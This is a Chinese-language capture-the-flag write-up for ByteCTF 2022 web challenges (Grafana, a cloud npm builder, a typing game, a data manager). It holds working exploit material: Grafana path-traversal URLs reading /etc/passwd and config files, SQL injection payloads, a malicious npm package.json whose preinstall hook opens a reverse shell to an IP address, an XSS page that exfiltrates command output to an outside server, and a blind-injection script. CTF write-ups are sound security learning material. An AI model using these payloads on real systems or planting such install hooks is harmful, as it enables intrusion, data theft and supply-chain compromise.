0%

2021 ByteCTF-2022 web

image-20220927171917880

easy_grafana

历史CVE

/public/plugins/text/#/../../../../../../../../../../etc/passwd
/public/plugins/text/#/../../../../../../../../../../etc/grafana/grafana.ini
/public/plugins/text/#/../../../../../../../../../../var/lib/grafana/grafana.db

下载db文件后利用:A-D-Team/grafanaExp,解密db文件

image-20220925221845070

FLAG:ByteCTF{e292f461-285e-47fc-9210-b9cd233773cb}

ctf_cloud

注册功能存在sql注入可修改admin密码

image-20220924162016193

{"username":"c","password":"1',0),('admin','a',1)--"}

upload功能不允许目录穿越,文件名与内容可任意写

image-20220924162206065

编译功能允许写入package.json中的 dependencies

image-20220924162357119

run功能去利用npm安装

image-20220924162042567

也就是我们可以利用dependencies功能去可控package.json中的npm包。制作一个恶意的npm包发布然后修改package.json,创建并发布一个npm 包

构造恶意package.json利用 preinstall 执行命令

{
"name": "y0ngtest",
"version": "1.0.8",
"description": "test for shell",
"main": "app.js",
"scripts": {
"preinstall": "bash -c 'bash -i >& /dev/tcp/124.222.115.141/9000 0>&1'"
},
"author": "",
"license": "ISC"
}

push

image-20220925195249316

写入恶意包,run功能触发npm安装

image-20220924181437087

测试收到/etc/passwd成功

image-20220924181223543

shell:

image-20220925224008708

删除恶意包

npm unpublish y0ngtest --force

FLAG:ByteCTF{c98ecaae-4e6e-43da-a084-1f0d99034420}

typing_game

附件/status下可以4字符的命令执行,有ip检测。/report访问任意html可打xss

image-20220927154934708

在玩完游戏后name存在xss

image-20220927163408414

这题关键就是怎么利用xss从words中将word填入到框框里,利用iframe.contentWindow.location.replace不断刷新 hash

image-20220927163546869

抄个exp

<!DOCTYPE html>
<head>
</head>

<body>
<iframe width="100%" height="500px" id="iframe" src="http://127.0.0.1:13002/"></iframe>
<script>
cmd = "env"
cmd = `fetch("http://127.0.0.1:13002/status?cmd=${cmd}").then(x=>x.text()).then(x=>fetch("http://your-server?data="+x))`
cmd = btoa(cmd)
url = "http://127.0.0.1:13002/?name=%3Cimg%20src%3Dx%20onerror%3D'eval(atob(%22"+cmd+"%22))')%3E"
const words =['web', 'bytedance', 'ctf', 'sing', 'jump', 'rap', 'basketball', 'hello','world','fighting','flag','game','happy']
i = 0
l = 0
iframe.onload = function () {
const w = iframe.contentWindow
w.location.replace(url + "#" + words[i]);
if (i == 12) {
i = 0;
if (l++ > 13) {
fetch('/?done')
iframe.onload = function () { }
}
} else {
i++;
}
}
</script>
</body>

放到服务器

image-20220927163903976

FLAG:ByteCTF{074720d3-9369-4457-a1a5-2cdf1fda594b}

补充,因为能直接通过report访问status直接执行命令,还可以利用4字符去rce,exp网上很多了。

datamanager

登录框

image-20220925225908732

注册admin

image-20220925225930544

new data source有任意数据库连接,可以尝试恶意数据库读文件

image-20220925225950569

基本信息为上。

W&M的wp:

存在注入

from sre_constants import SUCCESS
import requests
requests = requests.Session()
import string

proxies = {}
import warnings
warnings.filterwarnings("ignore")

headers = {
"Cookie": "__t_id=7267900aaba9b607c88b9639ae26899a; JSESSIONID=C1032349BC4000AE184AD31889B5B0F3",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"

}

#database() == datamanager
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when (database() like PAYLOAD) then 1 else 9223372036854775807%2B1 end"

#tables : source,users
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(table_name) from information_schema.tables where table_schema like 0x646174616d616e61676572) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"

#columns from users: current\\_connections,total\\_connections,user,id,n4me,pas$word
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(column_name) from information_schema.columns where table_name like 0x7573657273) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"

#n4me from users: ctf,...
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(n4me) from users) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"

#pas$word from users: ctf@BvteDaNceS3cRet,...
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(pas$word) from users) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"

def main():
flag = ""
while 1:
success = False
for i in string.printable[:-6]:
if i in "_%[]":
i = "\\\\"+i
payload = "0x"
for item in flag:
payload += "%02x" % ord(item)
for item in i:
payload += "%02x" % ord(item)
payload += "25"
#print(payload)
r = requests.get(url.replace("PAYLOAD",payload),proxies=proxies,headers=headers,verify=False,timeout=3)
#if "SORRY!" not in r.text:
if r.status_code == 200:
flag += i
print(flag)
success = True
break
if success:
continue
else:
print("failed",flag)
raise Exception("failed")

if __name__ == "__main__":
main()

后来用恶意sqlserver利用netdoc协议读文件去了,未能复现

用mysql fake server来读文件。需要修改一下 handshake.py的72行d[2]改成0x21 否则报错

参考

ByteCTF 2022 By W&M - W&M Team (wm-team.cn)